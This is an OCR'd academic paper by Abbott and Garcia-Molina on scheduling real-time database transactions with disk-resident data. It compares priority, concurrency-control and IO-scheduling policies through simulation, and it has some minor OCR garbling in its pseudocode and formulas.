0.0005059242248535156, "__label__transportation": 0.0007271766662597656, "__label__travel": 0.0002560615539550781}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 53749, 0.03056]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 53749, 0.52881]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 53749, 0.83975]], "google_gemma-3-12b-it_contains_pii": [[0, 3064, false], [3064, 6163, null], [6163, 9488, null], [9488, 13005, null], [13005, 15034, null], [15034, 17168, null], [17168, 19510, null], [19510, 22653, null], [22653, 25318, null], [25318, 29442, null], [29442, 32763, null], [32763, 35819, null], [35819, 39574, null], [39574, 42930, null], [42930, 44307, null], [44307, 48049, null], [48049, 51379, null], [51379, 53749, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3064, true], [3064, 6163, null], [6163, 9488, null], [9488, 13005, null], [13005, 15034, null], [15034, 17168, null], [17168, 19510, null], [19510, 22653, null], [22653, 25318, null], [25318, 29442, null], [29442, 32763, null], [32763, 35819, null], [35819, 39574, null], [39574, 42930, null], [42930, 44307, null], [44307, 48049, null], [48049, 51379, null], [51379, 53749, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 53749, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 53749, null]], "pdf_page_numbers": [[0, 3064, 1], [3064, 6163, 2], [6163, 9488, 3], [9488, 13005, 4], [13005, 15034, 5], [15034, 17168, 6], [17168, 19510, 7], [19510, 22653, 8], [22653, 25318, 9], [25318, 29442, 10], [29442, 32763, 11], [32763, 35819, 12], [35819, 39574, 13], [39574, 42930, 14], [42930, 44307, 15], [44307, 48049, 16], [48049, 51379, 17], [51379, 53749, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 53749, 0.0717]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
75b976ad907a2002eefd640c2b6ec6f3b3355fff
|
Scheduling Real-Time Transactions with Disk Resident Data
Robert Abbott
Hector Garcia-Molina
Department of Computer Science
Princeton University
Princeton, NJ 08544
Abstract
Managing transactions with real-time requirements and disk resident data presents many new problems. In this paper we address several: How can we schedule transactions with deadlines? How do the real-time constraints affect concurrency control? How does the scheduling of IO requests affect the timeliness of transactions? How should exclusive and shared locking be handled? We describe a new group of algorithms for scheduling real-time transactions which produce serializable schedules. We present a model for scheduling transactions with deadlines on a single processor disk resident database system, and evaluate the scheduling algorithms through detailed simulation.
1. Introduction
A real-time database system (RTDBS) processes transactions with timing constraints such as deadlines. The system guarantees serializable executions while at the same time minimizing the number of transactions that miss their deadlines. Conventional database systems differ from RTDB ones in that the former do not take into account individual transaction timing constraints in making scheduling decisions. Conventional real-time systems, on the other hand, differ from RTDB systems in that they assume advance knowledge of the data requirements of programs and their goal is to guarantee no missed deadlines [14]. However, they do not guarantee data consistency. Such systems are called hard real-time. RTDB systems can be useful for applications which are both data-intensive and subject to real-time constraints. Such applications include computerized stock trading, command and control systems, and computer-integrated manufacturing [1, 13].
There are many new and challenging problems in designing a RTDB. Two of these problems were studied in [1]: transaction scheduling and concurrency control. In particular, that paper presented several algorithms for resolving lock conflicts and for determining in what order to execute available transactions. The algorithms were studied via detailed simulations. Two major assumptions were made in that work: (a) the database was memory resident, and (b) only exclusive locks were available.
In this paper we continue our investigations of real-time scheduling and concurrency control. Assumptions (a) and (b) have been dropped, a new set of algorithms has been developed, and some additional issues and measures have been considered. The new results, we believe, provide substantial additional insights into the operation of RTDB systems.
Allowing the database to reside on disk, with a portion residing in a main memory buffer pool, introduces more interesting questions that one might initially imagine. For instance, the disk is now a resource that transactions must compete for. How are the disk requests to be scheduled? Do the same real-time priorities that worked for CPU scheduling work for disk scheduling? Some disk controllers do scheduling on their own (trying to minimize head movement). Does this interfere with the real-time scheduling? Since transactions now are suspended more frequently (lock waits and IO waits), there are more opportunities for CPU scheduling. How do the CPU scheduling algorithms respond? Finally, transaction commit must be considered. That is, transactions must flush their dirty pages to disk and write log records. What priorities should these operations receive? Should the log be placed on a separate disk?
Shared locks also introduce a new set of challenging questions. With exclusive locks only, conflicts always involve a pair of transactions, the holder and the requester. The conflict can be resolved by comparing the priorities (e.g., earliest deadline) of each. With shared locks, the holder can actually be a set of concurrently reading transactions, each with a different deadline. If the requester needs an exclusive lock, what is to be done? What priority does the group have? If the requester needs a shared lock, it could be granted immediately, but there may be other transactions already waiting for exclusive locks. How are the priorities of the waiting transactions compared against that of the new requester? Should the new requester be granted the shared lock or not?
We have extended the algorithms of [1] to cope with disk data and shared locks. In addition, we have studied concurrency control algorithms not considered initially, including one that promotes transactions that are...
blocking higher priority transactions. Finally, we have also considered two supplementary measures (in addition to mean number of missed deadlines). One is the mean tardiness of transactions, i.e., average time by which transactions miss their deadlines. The second is the response of the system to a batch of transactions that arrive at once. Such an "input step function" emulates a severe overload. Such overloads may not be frequent, but having algorithms that can cope with them gracefully is important.
2. Model and Assumptions
In this section we describe our basic assumptions and real-time transaction model. The system consists of a single processor, a disk-based database, and a main memory buffer pool. (The multiple processor case is also of interest, but we have not addressed it yet.)
The unit of database granularity we consider is the page. Transactions access a sequence of pages. If a page is not found in the buffer pool, a disk read is initiated to transfer the page to the pool. Modified pages are held in the pool until the transaction completes. At that time, the log is flushed and the transaction commits. Finally, the modified pages are written back to disk to free space in the buffer pool. (This buffer management strategy can be characterized as not ATOMIC, not STEAL and FORCE [7] ) We assume that the buffer pool is large enough so that a transaction never has to write modified pages to disk until after commit. Thus, aborting a transaction involves no disk writes. We assume that the log is kept on a disk (or tape) separate from the database disks (the most common scenario in practice).
Each arriving transaction has a release time \( r \), a deadline \( d \), and a run time estimate \( E \). The release time is the earliest time the transaction can be started and is usually the arrival time. The deadline is the desired maximum commit time. Estimate \( E \) approximates the duration of the transaction on an unloaded system. It takes into account both the CPU and disk read time involved. Parameters \( r \), \( d \), and \( E \) are known to the system as soon as the transaction arrives. However, the access pattern of the transaction is not known in advance. As the transaction is executed, it asks to read or write one page at a time. Our decision to assume knowledge of a run time estimate but no knowledge of data requirements is justified because it is easier to estimate the execution time of a transaction than to predict its data access pattern. In any case, \( E \) is simply an estimate that could be wrong or not given at all.
The RTDB system schedules transactions with the objective of minimizing the number of missed deadlines. As the system runs it may observe that some transactions have already missed their deadlines before committing. We assume that all transactions must be executed eventually, regardless of whether they are tardy or not. In this case, we will assume that the priority of tardy transactions increases, in order to limit the tardiness. Other options for handling tardy transactions and their performance are discussed in [1].
As discussed in the introduction, we assume that transaction executions must be serializable [5]. (If transaction semantics were known, other strategies could be used [6]. ) We assume that serializability is enforced via a locking protocol that allows for shared and exclusive locks. Deadlock detection is used to find and break deadlocks. We have selected a locking protocol because locking is widely used in practice; other strategies may be possible [2] but are not considered here.
3. Scheduling Algorithms
Our scheduling algorithms have three components: a policy for assigning priorities to tasks, a concurrency control mechanism, and a policy for scheduling IO requests. The priority policy controls how a priority is assigned to a real-time transaction. The concurrency control mechanism can be thought of as a policy for resolving conflicts between two (or more) transactions that want to lock the same data object. Some concurrency control mechanisms permit deadlocks to occur. For these a deadlock detection and resolution mechanism is needed. The third component controls how scheduling of the IO queue is done, i.e., whether a transaction's real-time constraints are used to decide which IO request is serviced next.
Each component may use only some of the available information about a transaction. In particular we distinguish between policies which do not make use of \( E \), the runtime estimate, and those that do. A goal of our research is to understand how the accuracy of the runtime estimate affects the algorithms that use it.
3.1. Assigning Priorities
There are many ways to assign priorities to real-time tasks [9,10]. We have studied three.
First Come First Serve. This policy assigns the highest priority to the transaction with the earliest release time. If release times equal arrival times then we have the traditional version of FCFS. The primary weakness of FCFS is that it does not make use of deadline information. FCFS will discriminate against a newly arrived task with an urgent deadline in favor of an older task which may not have such an urgent deadline. This is not desirable for real-time systems.
Earliest Deadline. The transaction with the earliest deadline has the highest priority. A major weakness of this policy is that it can assign the highest priority to a task that has already missed or is about to miss its deadline. When this is done, the system allocates resources to a transaction which cannot meet its deadline in favor of a transaction which could meet its deadline. One way to solve this problem is to use an overload management policy to screen out transactions that have missed or are about to miss their deadlines [1].
Least Slack. For a transaction \( T \) we define a slack time \( S = d - (t + E - U) \), where \( t \) is the current time, and \( U \) is the amount of service time consumed by \( T \) so far. The
slack time is an estimate of how long we can delay the execution of $T$ and still meet its deadline. If $S \geq 0$ then we expect that if $T$ is executed without interruption, it will finish at or before its deadline. A negative slack time results either when a transaction has already missed its deadline or when we estimate that it cannot meet its deadline.
Note that Least Slack is very different from Earliest Deadline in that the priority of a task depends on how much service time it has received. The slack of a transaction which is executing does not change. (Its service time and the clock time increase equally.) The slack time of a transaction which is not executing decreases. Hence the priority of that transaction increases.
A natural question to consider is how often to evaluate a transaction's slack. We consider two methods. With the first, static evaluation, the slack of a transaction is evaluated once when the transaction arrives. This value is the transaction's priority for as long as the transaction is in the system. (If a transaction is rolled back and restarted, the slack is recalculated. In effect, the transaction is re-entering the system as a new arrival.) Under the second method, continuous evaluation, the slack is recalculated whenever we wish to know the transaction's priority. This method yields more up-to-date information but also incurs more overhead.
Our performance studies have shown that sometimes it is better to use static evaluation and sometimes it is better to use continuous evaluation. (See Section 5.) The majority of our experimental results use static evaluation. We chose this because static evaluation performed better than continuous at higher load settings, which is where we performed many of our experiments.
3.2. Concurrency Control
If transactions are executed concurrently then we need a mechanism to order the updates to the database so that the final schedule is serializable. Our mechanisms allow shared and exclusive locks. Shared locks permit multiple concurrent readers. The priority of a data object $O$ is defined to be the maximum priority of all transactions which hold a lock on object $O$. If $O$ is not locked then its priority is undefined.
Let $T$ be a transaction requesting a shared lock on object $O$ which is already locked in shared mode by one or more transactions. Transaction $T$ is allowed to join the read group only if the priority of $T$ is greater than the maximum priority of all transactions, if any, which are waiting to lock $O$ in exclusive mode. In other words, a reader can join a read group only if it has a higher priority than the lock holder(s) and all waiting writers. Otherwise the reader must wait. Conflicts arise from incompatibility of locking modes in the usual way.
We are particularly interested in conflicts that can lead to priority inversions. A priority inversion occurs when a transaction $T$ of high priority requests and blocks on a lock for object $O$ which has a lesser priority than $T$. This means that $T$ has a higher priority than the transaction(s) which holds the lock on $O$. $T$ must wait until the lock holder(s) releases its lock on $O$, either voluntarily or involuntarily. Conflicts which cannot lead to priority inversion, i.e., the priority of the requester is less than the priority of the object, are handled by having the requester wait. Of course a deadlock detection method must be employed to detect cycles of waiting transactions. We now discuss four techniques that we use to resolve conflicts.
In the following, let $T_R$ be a transaction that is requesting a lock on a data object $O$ that is already locked by transaction $T_H$. Furthermore, the lock modes are incompatible and $T_R$ has a higher priority than the priority of $O$. Thus the priority of $T_R$ is greater than $T_H$. Namely we have a priority inversion.
Wait. Under this policy, priority inverting conflicts are handled exactly as non-priority inverting conflicts. That is, the requesting transaction always blocks and waits for the data object to become free. This is the standard method for most DBMS which do not execute real-time transactions. All conflicts are handled indentically and the concurrency control mechanism makes no effective use of transaction priorities.
Wait Promote. Wait Promote handles conflicts as Wait does except when a priority inversion occurs. The high priority transaction $T_H$ will block and wait but now we promote the priority of the lock holder $T_H$ so it is as high as the priority of $T_R$. In other words, $T_R$ inherits the priority of $T_H$. (Since locks are retained until commit time, $T_H$ will keep its inherited priority until it commits or is restarted. In the event that $T_H$ is restarted, e.g., because of deadlock, it assumes its normal priority. A pure implementation of priority inheritance would demote the priority of $T_H$ if $T_R$ is aborted before $T_H$ finishes. We chose not to implement demotion. Our tests showed that it occurs so seldom that any difference in overall performance is not measurable.) This method for handling priority inversions was proposed in [12].
The reason for promoting $T_H$ is that it is blocking the execution of $T_R$ a higher priority transaction. Thus $T_H$ should execute at an elevated priority so that it finishes sooner and $T_R$ can resume execution sooner. Priority inheritance ensures that only a transaction with priority greater than $T_R$ will be able to preempt $T_R$ from the CPU. A transaction $T_I$ of intermediate priority, a priority greater than $T_H$ and less than $T_R$, would normally be able to preempt $T_R$. But with priority inheritance, $T_I$ has a lesser priority than $T_H$ which is now executing on behalf of $T_R$.
What if the object is locked by more than one transaction? In this event all transactions in the read group will inherit the priority of $T_R$. Note that a priority inversion can affect only some of the transactions in a read group. For example, the requesting transaction may have a priority that is greater than only some of the transactions in the read group. These transactions will inherit the
greater priority of the requester. The priority of the other transactions in the read group remains unchanged. Thus every transaction holding a lock on object O has a priority that is at least as high as the highest priority transaction which is waiting for the lock.
Finally, the property of priority inheritance is transitive. If, for example, TH is blocked by transaction TMM, and the priority of TMM is less than TR then TMM will inherit the priority of TR. Note that when priority inheritance is combined with Least Slack, continuously evaluated, TH inherits not a static priority but a priority function which evaluates the slack of TR.
High Priority. The idea of this policy is to resolve a conflict in favor of the transaction with the higher priority. The favored transaction, the winner of the conflict, gets the lock on the contested object. We implement this policy by comparing transaction priorities at the time of the conflict. If the priority of TR is greater than the priority of object O, and thus greater than every transaction holding a lock on O, then we abort the lock holders thereby freeing the lock for TR. TR can resume processing; the lock holders are rolled back and scheduled for restart. If the priority of TR is less than or equal to the priority of O then TR blocks to wait for O to become free.
An interesting problem arises when we use Least Slack to prioritize transactions. Recall that under this policy, a transaction’s priority depends on the amount of service time that it has received. Rolling back a transaction to its beginning reduces its effective service time to 0 and raises its priority under the Least Slack policy. Thus a transaction TH, which loses a conflict and is aborted to allow a higher priority transaction TR to proceed, can have a higher priority than TR immediately after the abort. The next time the scheduler is invoked, TH will be preempted by TH. TH may again conflict with TR initiating another abort and rollback.
Our solution to this problem is to compare the priority of TR against that of each lock holder assuming that the lock holder were aborted. Using the notation P(TH) to denote the priority of TH and P(TR) to denote the priority of TR were it to be aborted, we can write this algorithm as follows:
**High Priority Conflict Resolution Policy**
IF for any TR holding a lock on O
\( P(TH) < P(TR) \) AND \( P(TH) < P(TR) \)
THEN Abort each lock holder
ELSE TR blocks
Conditional Restart Sometimes High Priority may be too conservative. Let us assume that we have chosen the first branch of the algorithm, i.e., TR has a greater priority than TH and TRH. We would like to avoid aborting TH because we lose all the service time that it has already consumed. We can be a little clever by using a conditional restart policy to resolve conflicts. The idea here is to estimate if TH, the transaction holding the lock, can be finished within the amount of time that TR, the lock requester, can afford to wait. Let \( SR \) be the slack of TR and let \( EH - UH \) be the estimated remaining time of TH. (Recall that U denotes the elapsed service time of a transaction.) If \( SR \geq EH - UH \) then we estimate that TR can finish within the slack of TR. If so, we let TH proceed to completion, release its locks and then let TR execute. This saves us from restarting TH. If TR cannot be finished in the slack time of TR then we restart TH (as in the previous algorithm). This modification yields the following algorithm:
**Conditional Restart Conflict Resolution Policy**
IF \( P(TH) < P(TR) \) AND \( P(TH) < P(TR) \)
THEN TR blocks
ELSE Abort TH
ELSE:
TH blocks
Note that if TR blocks in the inner branch, then TH inherits the priority of TR. This inheritance is exactly the same as described in the Wait Promote algorithm.
We only implement Conditional Restart if the conflict is one-on-one, i.e., there is no read group involved. We chose this because it is NP-complete to choose a maximal subset of readers all of which can finish within the slack of the requester. Furthermore we do not consider chained blockings as we did in our earlier study [1]. That is, we only make the special Conditional Restart decision if the requester conflicts with exactly one lock holder and the lock holder is not blocked waiting for some other lock. Experience with our earlier simulations indicated that chained blockings were rare, so that the payoff for handling them in a clever way was limited.
### 3.3 IO Scheduling
In a non-memory resident database system, the disk is an important resource which can be managed to optimize various performance criteria. In conventional systems the usual goal is to maximize the throughput of the IO system. One way that this is accomplished is by using a disk scheduling algorithm (e.g., SCAN [11]) to order the sequence of IO requests so that the mean seek time is minimized. While this may be good for maximizing throughput, it may be bad for a real-time system which is trying to meet transaction deadlines. For example, SCAN may order a batch of requests so that an IO request from a transaction with an early deadline is serviced last.
In this paper we study the consequences of using algorithms to schedule IO requests based on transaction priorities as opposed to minimization of disk head seek times. We have looked at two ways to schedule the IO queue.
**FIFO.** When FIFO is used to schedule the IO queue, requests are serviced in the order in which they are generated. This service order is somewhat related to transaction priorities because IO requests are generated by the
CPU, which is scheduled by priority. The ordering is essentially random with respect to track position on the disk.
Priority. Under this policy each IO request has a priority which is equal to the priority of the transaction which issued the request. The next IO request to service is the one with the highest priority. Thus a newly arrived request from a transaction with a high priority can leapfrog over other requests which have been waiting longer in the IO queue. We also expect this ordering to be random with respect to track positions on the disk.
In our model there are two types of IO requests: reads that are issued by unfinished transactions, and writes that are generated by committed transactions that are flushing their updates back to disk. (The log resides on a separate device, so it receives only log writes which are serviced FCFS.) Giving higher priority to reads over writes is desirable because it will speed the completion of transactions which are trying to meet their deadlines. Giving high priority to writes does not enhance performance directly because the transactions which issued the writes have already committed. In fact, as our studies have shown, giving high priority to writes can decrease performance if it excessively delays the servicing of read requests. The priority of writes cannot be too low however as writes must be completed in order to free space in the memory buffer pool.
In our experiments writes have the same priority as the transaction that issued them. For the priorities FCFS and Earliest Deadline, this means that writes are given a relatively high priority. (The arrival times and deadlines of committed transactions are usually earlier than those of uncommitted transactions.) Because we use static evaluation to implement Least Slack, the slack times of committed transactions are not necessarily larger or smaller than those of uncommitted transactions.
4. Simulation Model
Our program to simulate a RTDB was built using SIMPAS, a discrete system simulation language [3]. The names and meanings of the four parameters that control the configuration of the system resources are given in Table 1. The database log is maintained on a separate device which is of equal speed as the database disks. Each disk has its own queue of service requests.
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Meaning</th>
<th>Base Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>DBsize</td>
<td># of pages in database</td>
<td>400</td>
</tr>
<tr>
<td>MemSize</td>
<td># of pages in memory buffer</td>
<td>200</td>
</tr>
<tr>
<td>NumDisks</td>
<td># of disks</td>
<td>2</td>
</tr>
<tr>
<td>IOtime</td>
<td>Time to access disk</td>
<td>25 ms.</td>
</tr>
</tbody>
</table>
Table 1. System Resource Parameters.
We do not maintain a free list of pages, nor do we keep track of which pages have been modified. Instead we model the buffer pool as a collective set. When a transaction attempts to read an object, the system generates a random boolean variable which has the value true with probability MemSize / DBsize. If the value is true then the page is in memory and the transaction can continue processing. If the value is false then an IO service request is created and placed in the input queue of the appropriate disk. The database is partitioned equally over the disks and we use the function
\[ D = \frac{I \times \text{NumDisks}}{DBsize} \]
to map an object \( i \) to the disk where it is stored.
Transactions characteristics are controlled by the parameters listed in Table 2. Transactions enter the system with exponentially distributed inter-arrival times and they are ready to execute when they enter the system (i.e., release time equals arrival time). The number of objects accessed by a transaction is chosen from a normal distribution with mean \( \bar{Pages} \) and the actual database items are chosen uniformly from the database. Each page is updated with probability \( \bar{Update} \). Pages which are updated are locked exclusively, other pages are locked in shared mode. Updated pages are stored in the buffer pool until a transaction commits and then they are flushed out to disk.
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Meaning</th>
<th>Base Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ArrRate</td>
<td>Mean arrival rate</td>
<td>7 jobs/sec</td>
</tr>
<tr>
<td>Pages</td>
<td>Mean # pages accessed per job</td>
<td>8</td>
</tr>
<tr>
<td>CompFactor</td>
<td>CPU service per page</td>
<td>15 ms.</td>
</tr>
<tr>
<td>Update</td>
<td>Probability page is updated</td>
<td>0.5</td>
</tr>
<tr>
<td>MinSlack</td>
<td>Min slack as fraction of ( R )</td>
<td>2</td>
</tr>
<tr>
<td>MaxSlack</td>
<td>Max slack as fraction of ( R )</td>
<td>8</td>
</tr>
<tr>
<td>EstErr</td>
<td>Error in ( R ) as fraction of ( R )</td>
<td>0</td>
</tr>
<tr>
<td>Restart</td>
<td>Time to rollback transaction</td>
<td>5 ms.</td>
</tr>
<tr>
<td>MaxActive</td>
<td>Limit # of active jobs</td>
<td>25</td>
</tr>
</tbody>
</table>
Table 2. Transaction Parameters.
A transaction has an execution profile which alternates lock requests with equal size chunks of computation, one for each page accessed. Thus the total computation time is directly related to the number of items accessed. Let \( C \) denote the CPU requirement for a transaction; then \( C = \bar{Pages} \times \text{CompFactor} \). (We use \( \bar{Pages} \) to denote the actual number of pages for a specific transaction rather than the mean.) The IO service requirement for a transaction has two components: IO requests to read pages from the disk into memory and IO requests to write the modified pages back to the disk. Since the writing of updates back to disk occurs after a transaction commits, this IO time is not included in the runtime estimate. Thus the total amount of pre-commit IO service time needed is
\[ I = \text{IOtime} \times \bar{Pages} \times \left( 1 - \frac{\text{MemSize}}{DBsize} \right) \]
The total
runtime service needed to commit a transaction executing in an unloaded system is \( R = C + I \). The accuracy of a transaction’s runtime estimate \( E \) with respect to \( R \) is controlled by the parameter \( \text{EstErr} \), \( E = R \times (1 + \text{EstErr}) \). How we choose the value of \( \text{EstErr} \) is explained later when we discuss the experimental results.
The assignment of a deadline is controlled by two parameters \( \text{MinSlack} \) and \( \text{MaxSlack} \) which set a lower and upper bound respectively on a transaction’s slack time. A deadline is assigned by choosing a slack time uniformly from the range specified by the bounds. The program does not account for time needed to execute the lock manager, conflict manager, and deadlock detection manager. These routines are executed on a per data object basis and we assume that the costs of these calls are included in the variable that states how much CPU time is needed per object that a transaction accesses. Context switching and the time to execute the scheduler is also ignored.
Deadlocks are detected by maintaining a wait-for graph and searching for cycles whenever a new arc is added to the graph. When a deadlock is detected a victim is selected by choosing the transaction with lesser priority of the two transactions which correspond to the arc which completed the cycle in the graph.
In the following sections we discuss some of the results of eight different experiments that we performed. Due to space considerations we cannot present all our results but have selected the graphs which best illustrate the differences and performance of the algorithms. For each experiment we ran the simulation with the same parameters for 20 different random number seeds. Each run, except for the input step function experiment, continued until at least 700 transactions were executed. For each algorithm tested, numerous performance statistics were collected and averaged over the 20 runs. In particular we measured the percentage of transactions which missed their deadlines, the average amount of time by which transactions missed their deadlines, and the number of restarts caused by lock conflicts. The percentage of missed deadlines is calculated with the following equation: \( \% \text{missed} = 100 \times \left( \frac{\text{tardy jobs}}{700} \right) \).
Another metric that we use is the average tardy time of all committed transactions. A transaction that commits before or on its deadline has a tardy time of zero. It is these averages that are plotted in the following figures.
Note that we are not particularly interested in transaction response times as conventional performance evaluations of concurrency control mechanisms are. The reason is that response time is not critical as long as a transaction meets its deadline. We are interested in learning how the various strategies are affected by load, the percentage of updates per transaction, the size of the memory buffer, and error of the runtime estimate.
For many of the experiments the base values for parameters were as shown in tables 1 and 2. These values are not meant to model a specific real-time application but were chosen as reasonable values within a wide range of possible values. We chose the arrival rate so that the corresponding CPU utilization (an average 0.84 seconds of computation arrive per second) is high enough to test the algorithms. It is more interesting to test the algorithms in a heavily loaded rather than lightly loaded system. (We return to this issue in the conclusions section.)
Section 3 proposed three different methods for assigning priority and four methods for managing concurrency. Also IO scheduling can be done in two different ways. Taking the cross product yields 24 different algorithms. Table 3 summarizes the methods of Section 3 and provides the abbreviations that we will use when referring to them.
<table>
<thead>
<tr>
<th>Priority</th>
<th>FCFS - First Come First Serve</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ED - Earliest Deadline</td>
</tr>
<tr>
<td></td>
<td>LS - Least Slack</td>
</tr>
</tbody>
</table>
| Concurrency | W - Wait |
|-----------------| WP - Wait Promote |
| | HP - High Priority |
| | CR - Conditional Restart |
| IO Scheduling | FIFO |
|-----------------| Priority |
Table 3. Summary of Scheduling Policies.
5. Experimental Results
Effect of Increasing Load In this experiment we varied the arrival rate from 6 jobs/sec to 8 jobs/sec in increments of 0.5. The other parameters had the base values given in Tables 1 and 2. This set of parameters is designed to load the CPU more heavily than the IO system. The CPU utilization ranges from 0.72 to 0.96 seconds of computation arriving per second. The IO system experiences a range in utilization of 0.60 to 0.80 seconds of I/O service requests arriving per second.
Figures 1 and 2 graph the three priority policies for each of the four different concurrency control strategies. Our first observation is that FCFS consistently performs worse than ED and LS. Also, where the other priority algorithms perform better with the concurrency control strategies that use promotion, FCFS does not. This is understandable as FCFS is a poor notion of priority for real-time transactions.
The relative performance of ED and LS depends on the type of concurrency control that is used. Fortunately we can state some general rules as to when ED or LS may be better. The policy ED operates best under low levels of load and when the concurrency control strategy produces few restarts due to lock conflict resolution. At high load levels ED tends to assign high priorities to transactions which will miss their deadlines anyway. This can prevent transactions with later, but feasible, deadlines from finishing on time. Conflict resolution policies which can produce a lot of restarts (e.g., HP and CR) work against ED because the restarts effectively increase the arrival rate of
new transactions into the system, thus increasing the load. Under HP and CR, LS produces fewer restarts than ED because LS makes use of an extra test that can prevent transactions from being restarted (see Section 3).
Examining the graphs, we see that ED is better than LS when the simple Wait strategy is used for concurrency control (Figure 1). When promotion is added to the Wait strategy, ED and LS perform comparably although ED is slightly better at lower loads and LS slightly better at higher loads. Both policies are much better than FCFS.
Under the two policies which restart transactions when conflicts occur, HP and CR, we note that LS is clearly the better policy when the load is high, Figure 2. Strategy ED performs well when the load is low but its performance degrades rapidly once the CPU utilization is greater than 0.84.
Having discussed the priority policies we now turn our attention to the concurrency control policies. The performance of a concurrency control strategy depends on the priority policy used, so it is hard to compare concurrency without including priority. We will compare combinations of priority (ED and LS) and the four concurrency control strategies. We ignore FCFS because of its poor performance. Figure 3 graphs the eight combinations.
The reader can see for himself that no one combination is always better. ED/WP is best when the load is light but LS/WP is better when the load is high. Thus we see that WP works well with both LS and ED, but CR works better with LS; HP is not very good with either priority policy.
Ideally we want our algorithms to schedule all transactions such that all deadlines are met. However, if this is not possible, then we would want to minimize the amount by which tardy transactions miss their deadlines. Figure 4 graphs the average overdue time in seconds against arrival rate. With the Wait Promote strategy, we observe that ED minimizes the maximum task tardiness and LS minimizes the minimum task tardiness [4]. The performance of the different concurrency strategies with respect to task tardiness parallels what we observed with missed deadlines, namely, WP and WP are best with ED, and WP and CR are best with LS.
In the experiment described above, the priority policy LS was implemented using static evaluation. We are also interested in learning how LS performs when continuous evaluation is used.
Figure 5 compares LS/WP and LS/CR for both static and continuous evaluation. The reader can see that no algorithm is best under all load settings. Under low arrival rates, the continuously evaluated versions of LS work better than the versions that use static evaluation. However, under higher loads, the opposite is true. This is an interesting and counter-intuitive result. The explanation is that transactions executing under LS, continuously evaluated, can experience priority reversals. We illustrate with an example.
At time \( t \) let \( T_1 \) and \( T_2 \) be transactions with slack times of 5 and 6 seconds respectively. Since \( T_1 \) has the lesser slack and thus the greater priority, it gains the processor and begins to execute. Two seconds later a new transaction arrives. The scheduler is invoked and slack times are recalculated. The slack of \( T_1 \) is unchanged, the slack of \( T_2 \) has decreased by 2 to 4. So now \( T_2 \) has the greater priority and gains the processor. A similar event may occur 2 seconds later which would cause the priorities of \( T_1 \) and \( T_2 \) to reverse again. If \( T_1 \) and \( T_2 \) are the highest priority transactions in the system, this continuous method of priority evaluation virtually guarantees that the two transactions are executed concurrently in the manner just described. If \( T_1 \) and \( T_2 \) have overlapping read and write sets then this scheduling method increases the likelihood that a conflict will occur. It also increases the likelihood that a deadlock will occur. Both of these events are undesirable.
Biasing the Run Time Estimate The concurrency control strategy Conditional Restart uses the runtime estimate to decide if a low priority transaction holding a lock can finish within the slack time of the higher priority transaction requesting the lock. We can easily describe the behavior of CR for the extreme values of \( E \). When \( E = 0 \), CR will always judge (assuming that the lock requester has a positive slack, this is true if the transaction has not missed its deadline) that the lock holder can finish within the slack of the lock requester. Thus the lock requester will always wait for the lock holder. Since promotion is used by CR, this behavior is exactly the same as WP.
At the other extreme, when \( E \) is much larger than \( R \), the algorithm will nearly always judge that the lock holder cannot finish within the slack time of the lock requester. Thus the lock holder will be rolled back and restarted. This behavior is the same as the concurrency control strategy HP. When the value of \( E \) is not so extreme CR will behave somewhere between WP and HP.
The runtime estimate is also used by the priority policy Least Slack. We performed a number of experiments to study how biasing the runtime estimate affects the performance of LS. Our results showed that LS, under static evaluation, is surprisingly robust to inaccuracy in the estimate. To illustrate, we summarize a "worst case" experiment that yielded the largest performance degradation.
Half of the transactions were made to overestimate their runtime estimate \( E = R \times (1 + EstErr) \); the other half underestimated \( E = R \times (1 - EstErr) \). (Recall that \( R \) is the service time needed in an unloaded system. If all transactions over or underestimate, LS is not affected greatly.) The value of \( EstErr \) was varied from 0 to 5 in increments of 1. (Negative runtime estimates were converted to \( E = 0 \).) Figure 6 shows that even with this worst case bias, LS is not very sensitive to errors in the runtime esti-
When continuous evaluation is used, the performance of LS is more sensitive to error in the runtime estimate. This is understandable since continuous evaluation means that the inaccurate runtime estimate will be used many more times to make scheduling decisions.
**Effect of Increasing Memory** In this experiment we varied the value of MemSize from 200 to 400 in increments of 50. The other parameters had the values shown in Tables 1 and 2. Thus the size of the memory resident fraction of the database varied from 0.5 to 1.0 of the total database.
Note that the proportion of memory resident database influences the assignment of deadlines to transactions. This happens because deadlines are assigned with respect to the total service time, both CPU and IO, required by a transaction. As the memory increases, the IO service requirement decreases (pages are more likely in memory), and the deadlines are shortened proportionately. In this way we can compare the scheduling of sets of transactions with similar task urgencies in system configurations of various memory sizes.
Our expectation, as memory size increases, is that all scheduling algorithms will perform better. The reason is that transactions will be doing much less IO and the time spent waiting for service in IO queues decreases. (CPU utilization and waiting time are unchanged.) Thus transactions will receive quicker service and are more likely to meet their deadlines.
Figure 7 graphs the results for the four algorithms which schedule all transactions and use LS to assign priority. It confirms our expectation that algorithms will perform better as the memory size increases. The results for other algorithms are similar.
